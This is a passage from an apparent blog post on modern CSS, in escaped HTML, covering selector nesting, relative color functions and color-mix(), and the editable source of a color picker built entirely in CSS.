&lt;sx-n&gt;800px&lt;/sx-n&gt;) {&#xD;&#xA;  .&lt;sx-y&gt;post&lt;/sx-y&gt; &amp;gt; .&lt;sx-y&gt;buttons&lt;/sx-y&gt; .&lt;sx-y&gt;label&lt;/sx-y&gt; {&#xD;&#xA;    &lt;sx-p&gt;font-size&lt;/sx-p&gt;: &lt;sx-n&gt;16px&lt;/sx-n&gt;;&#xD;&#xA;    &lt;sx-p&gt;padding&lt;/sx-p&gt;: &lt;sx-n&gt;4px&lt;/sx-n&gt;;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&lt;sx-z&gt;@media&lt;/sx-z&gt; (&lt;sx-x&gt;prefers-color-scheme&lt;/sx-x&gt;: &lt;sx-a&gt;dark&lt;/sx-a&gt;) {&#xD;&#xA;  .&lt;sx-y&gt;post&lt;/sx-y&gt; {&#xD;&#xA;    &lt;sx-p&gt;background&lt;/sx-p&gt;: &lt;sx-n&gt;#222&lt;/sx-n&gt;;&#xD;&#xA;    &lt;sx-p&gt;color&lt;/sx-p&gt;: &lt;sx-n&gt;#FFF&lt;/sx-n&gt;;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;  .sx-block, code-frame {&#xD;&#xA;    color-scheme: dark;&#xD;&#xA;    color: #EEE;&#xD;&#xA;    &amp;::selection, ::selection {&#xD;&#xA;      background: #004A77;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  .sx-block {&#xD;&#xA;    background: #15202B;&#xD;&#xA;    max-width: 100%;&#xD;&#xA;    overflow: clip;&#xD;&#xA;    border-radius: 4px;&#xD;&#xA;    &amp; &gt; code {&#xD;&#xA;      max-width: 100%;&#xD;&#xA;      overflow-x: auto;&#xD;&#xA;      display: block;&#xD;&#xA;      padding: 10px;&#xD;&#xA;      color: inherit;&#xD;&#xA;      font-family: var(--font-code);&#xD;&#xA;      font-size: 0.8125rem;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  /* token-atom - #C4EED0 */&#xD;&#xA;  sx-a { color: #C4EED0; }&#xD;&#xA;  /* token-attribute - #A8C7FA */&#xD;&#xA;  sx-r { color: #A8C7FA; }&#xD;&#xA;  /* token-attribute-value - #FE8D59 */&#xD;&#xA;  sx-v { color: #FE8D59; }&#xD;&#xA;  /* token-comment - #ABABAB */&#xD;&#xA;  sx-c { color: #ABABAB; }&#xD;&#xA;  /* token-keyword - #BF67FF */&#xD;&#xA;  sx-k { color: #BF67FF; }&#xD;&#xA;  /* token-number - #C4EED0 */&#xD;&#xA;  sx-n { color: #C4EED0; }&#xD;&#xA;  /* token-property - #FACC15 */&#xD;&#xA;  sx-p { color: #FACC15; }&#xD;&#xA;  /* token-string - #FE8D59 */&#xD;&#xA;  sx-s { color: #FE8D59; }&#xD;&#xA;  /* token-tag - #7CACF8 */&#xD;&#xA;  sx-t { color: #7CACF8; }&#xD;&#xA;  /* token-type - #7CACF8 */&#xD;&#xA;  sx-y { color: #7CACF8; }&#xD;&#xA;  /* token-variable - #C7C7C7 */&#xD;&#xA;  sx-e { color: #C7C7C7; }&#xD;&#xA;  /* token-variable-special - #6DD58C */&#xD;&#xA;  sx-l { color: #6dd5ba; }&#xD;&#xA;  /* @at-rules */&#xD;&#xA;  sx-z { color: #ffa4e0; }&#xD;&#xA;  /* media query attributes */&#xD;&#xA;  sx-x { color: #f169db; }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;And yeah, that&amp;rsquo;s pretty awful to work with. For anything that involves multiple chained selectors, you kind of have to keep a mental map of how every parent selector relates to its children, and the more CSS you add the harder it gets.&lt;/p&gt;&#xA;&lt;p&gt;But let&amp;rsquo;s try it with nesting:&lt;/p&gt;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;:&lt;sx-l&gt;root&lt;/sx-l&gt; {&#xD;&#xA;  &lt;sx-e&gt;--like-color&lt;/sx-e&gt;: &lt;sx-n&gt;#24A4F3&lt;/sx-n&gt;;&#xD;&#xA;  &lt;sx-e&gt;--like-color-hover&lt;/sx-e&gt;: &lt;sx-k&gt;hsl&lt;/sx-k&gt;(&lt;sx-a&gt;from&lt;/sx-a&gt; &lt;sx-k&gt;var&lt;/sx-k&gt;(&lt;sx-e&gt;--like-color&lt;/sx-e&gt;) &lt;sx-a&gt;h&lt;/sx-a&gt; &lt;sx-a&gt;s&lt;/sx-a&gt; &lt;sx-k&gt;calc&lt;/sx-k&gt;(&lt;sx-a&gt;l&lt;/sx-a&gt; + &lt;sx-n&gt;10&lt;/sx-n&gt;));&#xD;&#xA;  &lt;sx-e&gt;--like-color-active&lt;/sx-e&gt;: &lt;sx-k&gt;hsl&lt;/sx-k&gt;(&lt;sx-a&gt;from&lt;/sx-a&gt; &lt;sx-k&gt;var&lt;/sx-k&gt;(&lt;sx-e&gt;--like-color&lt;/sx-e&gt;) &lt;sx-a&gt;h&lt;/sx-a&gt; &lt;sx-a&gt;s&lt;/sx-a&gt; &lt;sx-k&gt;calc&lt;/sx-k&gt;(&lt;sx-a&gt;l&lt;/sx-a&gt; - &lt;sx-n&gt;20&lt;/sx-n&gt;));&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;.&lt;sx-y&gt;post&lt;/sx-y&gt; {&#xD;&#xA;  &lt;sx-p&gt;display&lt;/sx-p&gt;: &lt;sx-a&gt;block&lt;/sx-a&gt;;&#xD;&#xA;  &lt;sx-p&gt;background&lt;/sx-p&gt;: &lt;sx-n&gt;#EEE&lt;/sx-n&gt;;&#xD;&#xA;  &lt;sx-p&gt;color&lt;/sx-p&gt;: &lt;sx-n&gt;#111&lt;/sx-n&gt;;&#xD;&#xA;  &lt;sx-z&gt;@media&lt;/sx-z&gt; (&lt;sx-x&gt;prefers-color-scheme&lt;/sx-x&gt;: &lt;sx-a&gt;dark&lt;/sx-a&gt;) {&#xD;&#xA;    &lt;sx-p&gt;background&lt;/sx-p&gt;: &lt;sx-n&gt;#222&lt;/sx-n&gt;;&#xD;&#xA;    &lt;sx-p&gt;color&lt;/sx-p&gt;: &lt;sx-n&gt;#FFF&lt;/sx-n&gt;;&#xD;&#xA;  }&#xD;&#xA;  .&lt;sx-y&gt;avatar&lt;/sx-y&gt; {&#xD;&#xA;    &lt;sx-p&gt;width&lt;/sx-p&gt;: &lt;sx-n&gt;48px&lt;/sx-n&gt;;&#xD;&#xA;    &lt;sx-p&gt;height&lt;/sx-p&gt;: &lt;sx-n&gt;48px&lt;/sx-n&gt;;&#xD;&#xA;  }&#xD;&#xA;  &amp;amp; &amp;gt; .&lt;sx-y&gt;buttons&lt;/sx-y&gt; {&#xD;&#xA;    &lt;sx-p&gt;display&lt;/sx-p&gt;: &lt;sx-a&gt;flex&lt;/sx-a&gt;;&#xD;&#xA;    .&lt;sx-y&gt;label&lt;/sx-y&gt; {&#xD;&#xA;      &lt;sx-p&gt;font-size&lt;/sx-p&gt;: &lt;sx-n&gt;24px&lt;/sx-n&gt;;&#xD;&#xA;      &lt;sx-p&gt;padding&lt;/sx-p&gt;: &lt;sx-n&gt;8px&lt;/sx-n&gt;;&#xD;&#xA;      &lt;sx-z&gt;@media&lt;/sx-z&gt; (&lt;sx-p&gt;width&lt;/sx-p&gt; &amp;lt;= &lt;sx-n&gt;800px&lt;/sx-n&gt;) {&#xD;&#xA;        &lt;sx-p&gt;font-size&lt;/sx-p&gt;: &lt;sx-n&gt;16px&lt;/sx-n&gt;;&#xD;&#xA;        &lt;sx-p&gt;padding&lt;/sx-p&gt;: &lt;sx-n&gt;4px&lt;/sx-n&gt;;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    .&lt;sx-y&gt;like&lt;/sx-y&gt; {&#xD;&#xA;      &lt;sx-p&gt;cursor&lt;/sx-p&gt;: &lt;sx-a&gt;pointer&lt;/sx-a&gt;;&#xD;&#xA;      &lt;sx-p&gt;color&lt;/sx-p&gt;: &lt;sx-k&gt;var&lt;/sx-k&gt;(&lt;sx-e&gt;--like-color&lt;/sx-e&gt;);&#xD;&#xA;      &amp;amp;:&lt;sx-l&gt;hover&lt;/sx-l&gt; { &lt;sx-p&gt;color&lt;/sx-p&gt;: &lt;sx-k&gt;var&lt;/sx-k&gt;(&lt;sx-e&gt;--like-color-hover&lt;/sx-e&gt;); }&#xD;&#xA;      &amp;amp;:&lt;sx-l&gt;active&lt;/sx-l&gt; { &lt;sx-p&gt;color&lt;/sx-p&gt;: &lt;sx-k&gt;var&lt;/sx-k&gt;(&lt;sx-e&gt;--like-color-active&lt;/sx-e&gt;); }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;That is way nicer to read&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;! All the relevant parts are right next to each other, so it&amp;rsquo;s a lot easier to understand what&amp;rsquo;s going on. Seeing the &lt;code&gt;&amp;amp;:hover&lt;/code&gt; and &lt;code&gt;&amp;amp;:active&lt;/code&gt; right next to the &lt;code&gt;.like&lt;/code&gt; button is especially nice imo.&lt;/p&gt;&#xA;&lt;p&gt;And since you can sort of see the structure - the parent selectors &amp;ldquo;guarding&amp;rdquo; the child ones - it also makes it a lot easier to get away with short and simple class names (or even referring to elements themselves).&lt;/p&gt;&#xA;&lt;p&gt;You may have noticed that I&amp;rsquo;m also making use of relative colors in the second example. I think the &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_colors/Relative_colors&#34;&gt;MDN article&lt;/a&gt; has a lot of awesome examples, but the jist of it is that you can take an existing color, modify it in many different ways across multiple color spaces, and mix it with other colors using &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/color-mix&#34;&gt;color-mix()&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-c&gt;/* remove blue from a color */&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-k&gt;rgb&lt;/sx-k&gt;(&lt;sx-a&gt;from&lt;/sx-a&gt; &lt;sx-n&gt;#123456&lt;/sx-n&gt; &lt;sx-a&gt;r&lt;/sx-a&gt; &lt;sx-a&gt;g&lt;/sx-a&gt; &lt;sx-n&gt;0&lt;/sx-n&gt;);&#xD;&#xA;&lt;sx-c&gt;/* make a color transparent */&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-k&gt;rgb&lt;/sx-k&gt;(&lt;sx-a&gt;from&lt;/sx-a&gt; &lt;sx-n&gt;#123456&lt;/sx-n&gt; &lt;sx-a&gt;r&lt;/sx-a&gt; &lt;sx-a&gt;g&lt;/sx-a&gt; &lt;sx-a&gt;b&lt;/sx-a&gt; / &lt;sx-n&gt;0.5&lt;/sx-n&gt;);&#xD;&#xA;&lt;sx-c&gt;/* make a color lighter */&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-k&gt;hsl&lt;/sx-k&gt;(&lt;sx-a&gt;from&lt;/sx-a&gt; &lt;sx-n&gt;#123456&lt;/sx-n&gt; &lt;sx-a&gt;h&lt;/sx-a&gt; &lt;sx-a&gt;s&lt;/sx-a&gt; &lt;sx-k&gt;calc&lt;/sx-k&gt;(&lt;sx-a&gt;l&lt;/sx-a&gt; + &lt;sx-n&gt;10&lt;/sx-n&gt;));&#xD;&#xA;&lt;sx-c&gt;/* change the hue in oklch color space */&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-k&gt;oklch&lt;/sx-k&gt;(&lt;sx-a&gt;from&lt;/sx-a&gt; &lt;sx-n&gt;#123456&lt;/sx-n&gt; &lt;sx-a&gt;l&lt;/sx-a&gt; &lt;sx-a&gt;c&lt;/sx-a&gt; &lt;sx-k&gt;calc&lt;/sx-k&gt;(&lt;sx-a&gt;h&lt;/sx-a&gt; + &lt;sx-n&gt;10&lt;/sx-n&gt;));&#xD;&#xA;&lt;sx-c&gt;/* mix two colors in oklab color space */&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-k&gt;color-mix&lt;/sx-k&gt;(&lt;sx-t&gt;in&lt;/sx-t&gt; &lt;sx-t&gt;oklab&lt;/sx-t&gt;, &lt;sx-n&gt;#8CFFDB&lt;/sx-n&gt;, &lt;sx-n&gt;#04593B&lt;/sx-n&gt; 25%);&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;These snippets are really useful for when you want something to be just ever so slightly darker or brighter, such as a button hover effect or a matching border color, and they&amp;rsquo;re way nicer to use than doing all those color conversions in JavaScript. If you&amp;rsquo;re feeling particularly adventurous, you could even go ahead and generate your entire color scheme in just CSS.&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;color-demo id=&#34;color-picker&#34; role=&#34;img&#34; aria-label=&#34;A color picker written in CSS that lets you pick a color, and generates color swatches of varying brightness, varying hue, and complimentary/secondary colors.&#34;&gt;&lt;color-bg&gt;&lt;/color-bg&gt;&lt;color-picker&gt;&lt;color-result&gt;&lt;div&gt;&lt;color-style&gt;&#xD;&#xA;&lt;color-swatch monochrome&gt;&lt;div&gt;100&lt;/div&gt;&lt;div&gt;200&lt;/div&gt;&lt;div&gt;300&lt;/div&gt;&lt;div&gt;400&lt;/div&gt;&lt;div&gt;500&lt;/div&gt;&lt;div&gt;600&lt;/div&gt;&lt;div&gt;700&lt;/div&gt;&lt;div&gt;800&lt;/div&gt;&lt;div&gt;900&lt;/div&gt;&lt;/color-swatch&gt;&#xD;&#xA;&lt;color-swatch analogous&gt;&lt;div&gt;-40°&lt;/div&gt;&lt;div&gt;-20°&lt;/div&gt;&lt;div&gt;0°&lt;/div&gt;&lt;div&gt;+20°&lt;/div&gt;&lt;div&gt;+40°&lt;/div&gt;&lt;/color-swatch&gt;&#xD;&#xA;&lt;color-swatch primary&gt;&lt;div&gt;primary&lt;/div&gt;&lt;div&gt;complimentary&lt;/div&gt;&lt;div&gt;secondary&lt;/div&gt;&lt;/color-swatch&gt;&#xD;&#xA;&lt;color-swatch success&gt;&lt;div&gt;success&lt;/div&gt;&lt;div&gt;danger&lt;/div&gt;&lt;div&gt;warning&lt;/div&gt;&lt;div&gt;info&lt;/div&gt;&lt;/color-swatch&gt;&#xD;&#xA;&lt;/color-style&gt;&lt;/div&gt;&lt;/color-result&gt;&lt;color-point style=&#34;width: calc(var(--w) * 0.5px); height: calc(var(--h) * 0.69px);&#34;&gt;&lt;/color-point&gt;&lt;color-indicator&gt;&lt;/color-indicator&gt;&lt;/color-picker&gt;&lt;/color-demo&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;details style=&#34;float:right;width:100%&#34;&gt;&lt;summary style=&#34;float:right;color:#0078B1;cursor:pointer;list-style:none;font-style:italic&#34;&gt;view-source&lt;/summary&gt;&#xD;&#xA;&lt;style spellcheck=&#34;false&#34; contenteditable=&#34;plaintext-only&#34; style=&#34;display:block;white-space:pre-wrap;font-family:&#39;Nimbus Mono PS&#39;,&#39;Courier New&#39;,monospace;font-size:12px;padding:8px;background:#263238;color:#EEE;margin-top:24px;border-radius:4px;z-index:1;position:relative;margin-bottom:12px&#34;&gt;/* This is editable ^_^ */&#xD;&#xA;@property --cqw {&#xD;&#xA;  syntax: &#39;&lt;length&gt;&#39;;&#xD;&#xA;  inherits: true;&#xD;&#xA;  initial-value: 1cqw;&#xD;&#xA;}&#xD;&#xA;@property --cqh {&#xD;&#xA;  syntax: &#39;&lt;length&gt;&#39;;&#xD;&#xA;  inherits: true;&#xD;&#xA;  initial-value: 1cqh;&#xD;&#xA;}&#xD;&#xA;@property --vw {&#xD;&#xA;  syntax: &#39;&lt;length&gt;&#39;;&#xD;&#xA;  inherits: true;&#xD;&#xA;  initial-value: 100vw;&#xD;&#xA;}&#xD;&#xA;@property --vh {&#xD;&#xA;  syntax: &#39;&lt;length&gt;&#39;;&#xD;&#xA;  inherits: true;&#xD;&#xA;  initial-value: 100vh;&#xD;&#xA;}&#xD;&#xA;@property --svh {&#xD;&#xA;  syntax: &#39;&lt;length&gt;&#39;;&#xD;&#xA;  inherits: true;&#xD;&#xA;  initial-value: 100svh;&#xD;&#xA;}&#xD;&#xA;@property --dvh {&#xD;&#xA;  syntax: &#39;&lt;length&gt;&#39;;&#xD;&#xA;  inherits: true;&#xD;&#xA;  initial-value: 100dvh;&#xD;&#xA;}&#xD;&#xA;@property --lvh {&#xD;&#xA;  syntax: &#39;&lt;length&gt;&#39;;&#xD;&#xA;  inherits: true;&#xD;&#xA;  initial-value: 100lvh;&#xD;&#xA;}&#xD;&#xA;/* oklch easter egg */&#xD;&#xA;color-demo:has(color-style:active):not(:has(color-swatch:active)) {&#xD;&#xA;  color-bg {&#xD;&#xA;    background-image: linear-gradient(in oklch to right,&#xD;&#xA;      oklch(75% 100% 0),&#xD;&#xA;      oklch(75% 100% 120deg),&#xD;&#xA;      oklch(75% 100% 240deg),&#xD;&#xA;      oklch(75% 100% 360deg)&#xD;&#xA;    ), linear-gradient(#000, #FFF);&#xD;&#xA;  }&#xD;&#xA;  color-result&gt;div {&#xD;&#xA;    --picked-color: oklch(calc(tan(atan2(var(--cqh), 1px)) / calc(var(--h) / 200)) 100% calc(tan(atan2(var(--cqw), 1px)) / calc(var(--w) / 720)));&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;color-demo, color-picker, color-point, color-result, color-bg {&#xD;&#xA;  display: block;&#xD;&#xA;}&#xD;&#xA;color-demo {&#xD;&#xA;  display: grid;&#xD;&#xA;  grid-template-rows: 1fr;&#xD;&#xA;  grid-template-columns: 1fr;&#xD;&#xA;  container-type: size;&#xD;&#xA;  /*--w: 720;*/&#xD;&#xA;  /*--h: 400;*/&#xD;&#xA;  --w: min(calc(tan(atan2(var(--vw), 1px)) - 48), 768);&#xD;&#xA;  --h: 300;&#xD;&#xA;  width: calc(var(--w) * 1px);&#xD;&#xA;  height:calc(var(--h) * 1px + 324px);&#xD;&#xA;  border-radius: 6px;&#xD;&#xA;  background: #FFF;&#xD;&#xA;  overflow: clip;&#xD;&#xA;  /*&#xD;&#xA;  background:  linear-gradient(in hsl to right,&#xD;&#xA;    hsl(0 100% 50%),&#xD;&#xA;    hsl(120deg 100% 50%),&#xD;&#xA;    hsl(240deg 100% 50%),&#xD;&#xA;    hsl(360deg 100% 50%)&#xD;&#xA;  ), linear-gradient(#000, #FFF);&#xD;&#xA;  background-size: calc(100% - 16px) calc(100% - 16px);&#xD;&#xA;  background-position: center;&#xD;&#xA;  background-repeat: no-repeat;&#xD;&#xA;  background-blend-mode: overlay;&#xD;&#xA;  */&#xD;&#xA;  position: relative;&#xD;&#xA;  color-bg {&#xD;&#xA;    color-scheme: only light;&#xD;&#xA;    grid-area: 1 / 1;&#xD;&#xA;    width: calc(100% - 16px);&#xD;&#xA;    height: calc(var(--h) * 1px - 16px);&#xD;&#xA;    margin: 8px;&#xD;&#xA;    border-radius: 4px;&#xD;&#xA;    background:  linear-gradient(in hsl to right,&#xD;&#xA;      hsl(0 100% 50%),&#xD;&#xA;      hsl(120deg 100% 50%),&#xD;&#xA;      hsl(240deg 100% 50%),&#xD;&#xA;      hsl(360deg 100% 50%)&#xD;&#xA;    ), linear-gradient(#000, #FFF);&#xD;&#xA;    background-position: center;&#xD;&#xA;    background-repeat: no-repeat;&#xD;&#xA;    background-blend-mode: overlay;&#xD;&#xA;    box-shadow: 1px 1px 5px 0 #0002;&#xD;&#xA;  }&#xD;&#xA;  color-picker {&#xD;&#xA;    color-scheme: only light;&#xD;&#xA;    display: grid;&#xD;&#xA;    grid-area: 1 / 1;&#xD;&#xA;    position: relative;&#xD;&#xA;    grid-template-columns: 1fr;&#xD;&#xA;    grid-template-rows: 1fr;&#xD;&#xA;    width:fit-content;&#xD;&#xA;    height:fit-content;&#xD;&#xA;    &amp;&gt;*{&#xD;&#xA;      grid-column: 1; grid-row: 1;&#xD;&#xA;    }&#xD;&#xA;    color-indicator {&#xD;&#xA;      --sw1: 0;&#xD;&#xA;      --sw2: 0;&#xD;&#xA;      --sw3: 0;&#xD;&#xA;      --sw4: 0;&#xD;&#xA;      --sw5: 0;&#xD;&#xA;      --sw6: 0;&#xD;&#xA;      --sw7: 0;&#xD;&#xA;      --sw8: 0;&#xD;&#xA;      --sw9: 0;&#xD;&#xA;    }&#xD;&#xA;    &amp;:has(&gt;color-result color-swatch &gt; :nth-child(1):hover) color-indicator { --sw1: 2px }&#xD;&#xA;    &amp;:has(&gt;color-result color-swatch &gt; :nth-child(2):hover) color-indicator { --sw2: 2px }&#xD;&#xA;    &amp;:has(&gt;color-result color-swatch &gt; :nth-child(3):hover) color-indicator { --sw3: 2px }&#xD;&#xA;    &amp;:has(&gt;color-result color-swatch &gt; :nth-child(4):hover) color-indicator { --sw4: 2px }&#xD;&#xA;    &amp;:has(&gt;color-result color-swatch &gt; :nth-child(5):hover) color-indicator { --sw5: 2px }&#xD;&#xA;    &amp;:has(&gt;color-result color-swatch &gt; :nth-child(6):hover) color-indicator { --sw6: 2px }&#xD;&#xA;    &amp;:has(&gt;color-result color-swatch &gt; :nth-child(7):hover) color-indicator { --sw7: 2px }&#xD;&#xA;    &amp;:has(&gt;color-result color-swatch &gt; :nth-child(8):hover) color-indicator { --sw8: 2px }&#xD;&#xA;    &amp;:has(&gt;color-result color-swatch &gt; :nth-child(9):hover) color-indicator { --sw9: 2px }&#xD;&#xA;    &amp;:has(&gt;color-result color-swatch[analogous]:hover) color-indicator {&#xD;&#xA;      /*filter: drop-shadow(37px 0px 0px #EEE) drop-shadow(0px 20px 0px #EEE);*/&#xD;&#xA;      box-shadow: 0 0 1px 1px #0005 inset, 0 0 0px 1px #0008 inset,&#xD;&#xA;                  0 0 0 var(--sw3) #000,&#xD;&#xA;                  calc(var(--w) * -.111px) 0px 0px var(--sw1) #A4F9,&#xD;&#xA;                  calc(var(--w) * -.055px) 0px 0px var(--sw2) #C2F9,&#xD;&#xA;                  calc(var(--w) * 0.055px) 0px 0px var(--sw4) #F2C9,&#xD;&#xA;                  calc(var(--w) * 0.111px) 0px 0px var(--sw5) #F4A9;&#xD;&#xA;    }&#xD;&#xA;    &amp;:has(&gt;color-result color-swatch[primary]:hover) color-indicator {&#xD;&#xA;      box-shadow: 0 0 1px 1px #0005 inset, 0 0 0px 1px #0008 inset,&#xD;&#xA;                  0 0 0 var(--sw2) #000,&#xD;&#xA;                  calc(var(--w) * -.5px) 0px 0px var(--sw1) #3039,&#xD;&#xA;                  0 0 0 #0000,&#xD;&#xA;                  0 0 0 #0000,&#xD;&#xA;                  calc(var(--w) * 0.5px) 0px 0px var(--sw3) #3039;&#xD;&#xA;    }&#xD;&#xA;    &amp;:has(&gt;color-result color-swatch[monochrome]:hover) color-indicator {&#xD;&#xA;      bottom: calc(100% - 14px - var(--h) * 0.1px);&#xD;&#xA;      outline: 1px solid #0000;&#xD;&#xA;      box-shadow: 0 0 1px 1px #0005 inset, 0 0 0px 1px #0008 inset,&#xD;&#xA;                  0 0 0 var(--sw1) #000,&#xD;&#xA;                  0 calc(var(--h) * 0.1px) 0 var(--sw2) #F6F9,&#xD;&#xA;                  0 calc(var(--h) * 0.2px) 0 var(--sw3) #E5E9,&#xD;&#xA;                  0 calc(var(--h) * 0.3px) 0 var(--sw4) #C4C9,&#xD;&#xA;                  0 calc(var(--h) * 0.4px) 0 var(--sw5) #A3A9,&#xD;&#xA;                  0 calc(var(--h) * 0.5px) 0 var(--sw6) #8289,&#xD;&#xA;                  0 calc(var(--h) * 0.6px) 0 var(--sw7) #4149,&#xD;&#xA;                  0 calc(var(--h) * 0.7px) 0 var(--sw8) #2029,&#xD;&#xA;                  0 calc(var(--h) * 0.8px) 0 var(--sw9) #0009;&#xD;&#xA;    }&#xD;&#xA;    &amp;:has(&gt;color-result color-swatch[success]:hover) color-indicator {&#xD;&#xA;      bottom: calc(100% - 14px - var(--h) * 0.48px);&#xD;&#xA;      right: calc(100% - 14px - var(--w) * 0.0166px);&#xD;&#xA;      outline: 1px solid #0000;&#xD;&#xA;      box-shadow: 0 0 1px 1px #0005 inset, 0 0 0px 1px #0008 inset,&#xD;&#xA;                  0 0 0 var(--sw1) #000,&#xD;&#xA;                  calc(var(--w) * 0.117px) 0 0 var(--sw2) #5529,&#xD;&#xA;                  calc(var(--w) * 0.372px) 0 0 var(--sw3) #2A29,&#xD;&#xA;                  calc(var(--w) * 0.544px) 0 0 var(--sw4) #2289,&#xD;&#xA;                  calc(var(--w) * 0.711px) 0 0 var(--sw5) #0000;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  color-point {&#xD;&#xA;    width: 16px;&#xD;&#xA;    height: 16px;&#xD;&#xA;    background: #0003;&#xD;&#xA;    resize: both;&#xD;&#xA;    overflow: auto;&#xD;&#xA;    max-width: 100cqw;&#xD;&#xA;    max-height: calc(var(--h) * 1px);&#xD;&#xA;    opacity: 0;&#xD;&#xA;    clip-path: polygon(calc(100% - 16px) calc(100% - 16px), calc(100% - 16px) 100%, 100% 100%, 100% calc(100% - 16px));&#xD;&#xA;    /* for mobile support */&#xD;&#xA;    touch-action: none;&#xD;&#xA;  }&#xD;&#xA;  color-indicator {&#xD;&#xA;    display: block;&#xD;&#xA;    position: absolute;&#xD;&#xA;    width: 8px;&#xD;&#xA;    height: 8px;&#xD;&#xA;    border-radius: 16px;&#xD;&#xA;    pointer-events: none;&#xD;&#xA;    border: 2px solid #FFF;&#xD;&#xA;    outline: 1px solid #000;&#xD;&#xA;    box-shadow: 0 0 1px 1px #0005 inset, 0 0 0px 1px #0008 inset;&#xD;&#xA;    transition: box-shadow 0.5s, bottom 0.5s, right 0.5s, outline 0.5s;&#xD;&#xA;    right: 2px;&#xD;&#xA;    bottom: 2px;&#xD;&#xA;    /* make it easier to grab the thing on mobile */&#xD;&#xA;    @media (pointer: coarse) {&#xD;&#xA;      right: -2px;&#xD;&#xA;      bottom: -2px;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  color-result {&#xD;&#xA;    container-type: size;&#xD;&#xA;    width: 100%;&#xD;&#xA;    pointer-events: none;&#xD;&#xA;    &amp;&gt;div {&#xD;&#xA;      --cqw: calc(50cqw);&#xD;&#xA;      --cqh: calc(50cqh);&#xD;&#xA;      --picked-color: hsl(calc(tan(atan2(var(--cqw), 1px)) / calc(var(--w) / 720)) 100% calc(tan(atan2(var(--cqh), 1px)) / calc(var(--h) / 200)));&#xD;&#xA;      --picked-color-hue: calc(tan(atan2(var(--cqw), 1px)) / calc(var(--w) / 720));&#xD;&#xA;      display: flex;&#xD;&#xA;      position: absolute;&#xD;&#xA;      width: calc(var(--w) * 1px);&#xD;&#xA;      height: 400px;&#xD;&#xA;      top: calc(var(--h) * 1px);&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  color-style {&#xD;&#xA;    color-scheme: initial;&#xD;&#xA;    /*--background: lch(from var(--picked-color) calc((1 - round(l / 128)) * 255) c h);*/&#xD;&#xA;    --primary: var(--picked-color);&#xD;&#xA;    --primary-contrast: lch(from var(--primary) calc((1 - round(l / 128)) * 255) 0 0);&#xD;&#xA;    --secondary: lch(from var(--primary) l calc(min(255 - c * 10,148 - 100*round(l/100))) var(--picked-color-hue));&#xD;&#xA;    --secondary-contrast: lch(from var(--secondary) calc((1 - round(l / 128)) * 255) 0 0);&#xD;&#xA;    --complimentary: lch(from var(--primary) l c calc(h + 180));&#xD;&#xA;    --complimentary-contrast: lch(from var(--complimentary) calc((1 - round(l / 128)) * 255) 0 0);&#xD;&#xA;    --analogous-a: hsl(from var(--primary) calc(h - 40) s l);&#xD;&#xA;    --analogous-b: hsl(from var(--primary) calc(h - 20) s l);&#xD;&#xA;    --analogous-c: hsl(from var(--primary) calc(h + 20) s l);&#xD;&#xA;    --analogous-d: hsl(from var(--primary) calc(h + 40) s l);&#xD;&#xA;    --success: hsl(from var(--primary) 140deg 70 50%);&#xD;&#xA;    --danger: hsl(from var(--primary) 6deg 76 50%);&#xD;&#xA;    --warning: hsl(from var(--primary) 48deg 83 50%);&#xD;&#xA;    --info: hsl(from var(--primary) 202deg 70 50%);&#xD;&#xA;    --monochrome-100: lch(from var(--primary) 10% c h);&#xD;&#xA;    --monochrome-200: lch(from var(--primary) 20% c h);&#xD;&#xA;    --monochrome-300: lch(from var(--primary) 30% c h);&#xD;&#xA;    --monochrome-400: lch(from var(--primary) 40% c h);&#xD;&#xA;    --monochrome-500: lch(from var(--primary) 50% c h);&#xD;&#xA;    --monochrome-600: lch(from var(--primary) 60% c h);&#xD;&#xA;    --monochrome-700: lch(from var(--primary) 70% c h);&#xD;&#xA;    --monochrome-800: lch(from var(--primary) 80% c h);&#xD;&#xA;    --monochrome-900: lch(from var(--primary) 90% c h);&#xD;&#xA;&#xD;&#xA;    --background: lch(from var(--primary) 100% calc(c / 5) h);&#xD;&#xA;&#xD;&#xA;    /* https://github.com/system-fonts/modern-font-stacks?tab=readme-ov-file#geometric-humanist */&#xD;&#xA;    font-family: Avenir, Montserrat, Corbel, &#39;URW Gothic&#39;, source-sans-pro, sans-serif;&#xD;&#xA;    pointer-events: all;&#xD;&#xA;    border: 1px solid color-mix(in hsl, var(--primary), #4444);&#xD;&#xA;    background: var(--background);&#xD;&#xA;    border-radius: 4px;&#xD;&#xA;    margin: 8px;&#xD;&#xA;    display: block;&#xD;&#xA;    height: fit-content;&#xD;&#xA;    width: 100%;&#xD;&#xA;    @media (width &lt; 480px) {&#xD;&#xA;      font-size: 75%;&#xD;&#xA;    }&#xD;&#xA;    @media (width &lt; 